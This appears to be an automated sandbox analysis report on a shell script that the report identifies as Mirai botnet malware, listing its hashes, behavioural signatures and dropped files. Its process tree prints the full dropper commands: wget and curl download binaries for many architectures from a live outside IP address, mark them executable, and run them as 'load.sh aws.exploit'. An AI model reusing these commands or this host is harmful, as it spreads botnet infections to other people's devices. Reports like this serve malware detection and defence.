Analysis
-
max time kernel
150s -
max time network
122s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
18-10-2024 03:07
Static task
static1
Behavioral task
behavioral1
Sample
ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh
Resource
debian9-mipsbe-20240729-en
General
-
Target
ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh
-
Size
4KB
-
MD5
2d520ab45c89c24520e0754fd1971be2
-
SHA1
96e5de0ce70de4fa0f1adcd586aa49608bd578ea
-
SHA256
ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160
-
SHA512
496e0ee73afc2d1263db3012dec1578c3d493229a28e4fe97d5b63390ed86441b0fc42bc3f7d494569209b8642e8f5c9e239907cd1b8124bdeff619ba85e902b
-
SSDEEP
96:vNVjWNw41Nx/SNN7uNdMdEpFDNn90NUsRN2mHNRfCN3t8NueXNyS7NGWfNPl3:IO4Fi
Malware Config
Extracted
mirai
UNSTABLE
Signatures
-
Contacts a large (166300) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 8 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 743 chmod 750 chmod 775 chmod 793 chmod 816 chmod 824 chmod 830 chmod 736 chmod -
Executes dropped EXE 8 IoCs
ioc pid Process /tmp/load.sh 737 load.sh /tmp/load.sh 744 load.sh /tmp/load.sh 752 load.sh /tmp/load.sh 776 load.sh /tmp/load.sh 794 load.sh /tmp/load.sh 817 load.sh /tmp/load.sh 825 load.sh /tmp/load.sh 831 load.sh -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog load.sh File opened for modification /dev/misc/watchdog load.sh -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /bin/watchdog load.sh File opened for modification /sbin/watchdog load.sh -
resource yara_rule behavioral4/files/fstream-1.dat upx behavioral4/files/fstream-4.dat upx behavioral4/files/fstream-5.dat upx behavioral4/files/fstream-6.dat upx behavioral4/files/fstream-7.dat upx behavioral4/files/fstream-8.dat upx -
Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself a 752 load.sh -
description ioc Process File opened for reading /proc/680/cmdline load.sh File opened for reading /proc/771/cmdline load.sh File opened for reading /proc/769/cmdline load.sh File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/699/cmdline load.sh File opened for reading /proc/806/cmdline load.sh File opened for reading /proc/820/cmdline load.sh File opened for reading /proc/756/cmdline load.sh File opened for reading /proc/798/cmdline load.sh File opened for reading /proc/711/cmdline load.sh File opened for reading /proc/789/cmdline load.sh File opened for reading /proc/825/cmdline load.sh File opened for reading /proc/830/cmdline load.sh File opened for reading /proc/470/cmdline load.sh File opened for reading /proc/520/cmdline load.sh File opened for reading /proc/778/cmdline load.sh File opened for reading /proc/782/cmdline load.sh File opened for reading /proc/816/cmdline load.sh File opened for reading /proc/834/cmdline load.sh File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/705/cmdline load.sh File opened for reading /proc/783/cmdline load.sh File opened for reading /proc/797/cmdline load.sh File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/700/cmdline load.sh File opened for reading /proc/758/cmdline load.sh File opened for reading /proc/785/cmdline load.sh File opened for reading /proc/828/cmdline load.sh File opened for reading /proc/833/cmdline load.sh File opened for reading /proc/757/cmdline load.sh File opened for reading /proc/803/cmdline load.sh File opened for reading /proc/799/cmdline load.sh File opened for reading /proc/809/cmdline load.sh File opened for reading /proc/814/cmdline load.sh File opened for reading /proc/772/cmdline load.sh File opened for reading /proc/773/cmdline load.sh File opened for reading /proc/764/cmdline load.sh File opened for reading /proc/767/cmdline load.sh File opened for reading /proc/801/cmdline load.sh File opened for reading /proc/484/cmdline load.sh File opened for reading /proc/519/cmdline load.sh File opened for reading /proc/824/cmdline load.sh File opened for reading /proc/766/cmdline load.sh File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/759/cmdline load.sh File opened for reading /proc/792/cmdline load.sh File opened for reading /proc/811/cmdline load.sh File opened for reading /proc/821/cmdline load.sh File opened for reading /proc/780/cmdline load.sh File opened for reading /proc/791/cmdline load.sh File opened for reading /proc/781/cmdline load.sh File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/802/cmdline load.sh File opened for reading /proc/827/cmdline load.sh File opened for reading /proc/self/exe load.sh File opened for reading /proc/695/cmdline load.sh File opened for reading /proc/702/cmdline load.sh File opened for reading /proc/754/cmdline load.sh File opened for reading /proc/775/cmdline load.sh File opened for reading /proc/796/cmdline load.sh File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/701/cmdline load.sh -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 739 wget 741 curl 742 cat -
Writes file to tmp directory 18 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mips wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mips curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6 curl File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86 curl File opened for modification /tmp/load.sh ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86 wget File opened for modification /tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6 wget
Processes
-
/tmp/ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh/tmp/ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh1⤵
- Writes file to tmp directory
PID:702 -
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x862⤵
- Writes file to tmp directory
PID:710
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:724
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.x862⤵PID:734
-
-
/bin/chmodchmod +x db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh2⤵
- File and Directory Permissions Modification
PID:736
-
-
/tmp/load.sh./load.sh aws.exploit2⤵
- Executes dropped EXE
PID:737
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:739
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:741
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.mips2⤵
- System Network Configuration Discovery
PID:742
-
-
/bin/chmodchmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh2⤵
- File and Directory Permissions Modification
PID:743
-
-
/tmp/load.sh./load.sh aws.exploit2⤵
- Executes dropped EXE
PID:744
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵
- Writes file to tmp directory
PID:746
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:747
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.mpsl2⤵PID:749
-
-
/bin/chmodchmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh2⤵
- File and Directory Permissions Modification
PID:750
-
-
/tmp/load.sh./load.sh aws.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
- Reads runtime system information
PID:752
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm2⤵
- Writes file to tmp directory
PID:754
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:767
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm2⤵PID:774
-
-
/bin/chmodchmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh2⤵
- File and Directory Permissions Modification
PID:775
-
-
/tmp/load.sh./load.sh aws.exploit2⤵
- Executes dropped EXE
PID:776
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm52⤵
- Writes file to tmp directory
PID:778
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:783
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm52⤵PID:792
-
-
/bin/chmodchmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh2⤵
- File and Directory Permissions Modification
PID:793
-
-
/tmp/load.sh./load.sh aws.exploit2⤵
- Executes dropped EXE
PID:794
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm62⤵
- Writes file to tmp directory
PID:796
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:803
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm62⤵PID:815
-
-
/bin/chmodchmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh2⤵
- File and Directory Permissions Modification
PID:816
-
-
/tmp/load.sh./load.sh aws.exploit2⤵
- Executes dropped EXE
PID:817
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm72⤵
- Writes file to tmp directory
PID:820
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:821
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.arm72⤵PID:823
-
-
/bin/chmodchmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh2⤵
- File and Directory Permissions Modification
PID:824
-
-
/tmp/load.sh./load.sh aws.exploit2⤵
- Executes dropped EXE
PID:825
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵
- Writes file to tmp directory
PID:827
-
-
/usr/bin/curlcurl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:828
-
-
/bin/catcat db0fa4b8db0333367e9bda3ab68b8042.ppc2⤵PID:829
-
-
/bin/chmodchmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh2⤵
- File and Directory Permissions Modification
PID:830
-
-
/tmp/load.sh./load.sh aws.exploit2⤵
- Executes dropped EXE
PID:831
-
-
/usr/bin/wgetwget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k2⤵
- Writes file to tmp directory
PID:834
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
33KB
MD56d1b6e91b1e2037fbf62ca7ddcf04932
SHA1d0769095ec2e678074eb206b3537022129c1a776
SHA2567f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782
SHA5127397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38
-
Filesize
35KB
MD5fd5d7deebbb62aee931a1701a1042450
SHA14adc94ce9de13647815a16d6514b73e109c80785
SHA2567a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9
SHA512cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4
-
Filesize
37KB
MD5144cc0c6dfb6f6e395065b02825a9ad1
SHA1dfe5d7d8bef4511b42be1ae0235f7469d97bf789
SHA256117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2
SHA5129e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5
-
Filesize
34KB
MD5b478298246ee6d313f4f576d0f7ec4cd
SHA194d25c6d4cfb1e218120d378d14c8d5ab868363b
SHA256ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5
SHA51283f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307
-
Filesize
30KB
MD5d8893525da7152c787dcc7d6309a61ba
SHA187fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd
SHA2562a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef
SHA5128fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6
-
Filesize
58KB
MD59f2845654c191bf453abcbf2adde9625
SHA124d62223d4801e4b3005759aaafc382c8b6dbb1b
SHA25698164fe98014d122d6532a7c03c6c720db6fbf5c9e6fed7c7f80fa12f57a7647
SHA5129b7afe327e4114393edcd75ddd0569766c272c8c512568175db372d1c1de89f9d52831ac2792acaa8ec6291eb72e112ce0217fad356611a05988afea17985183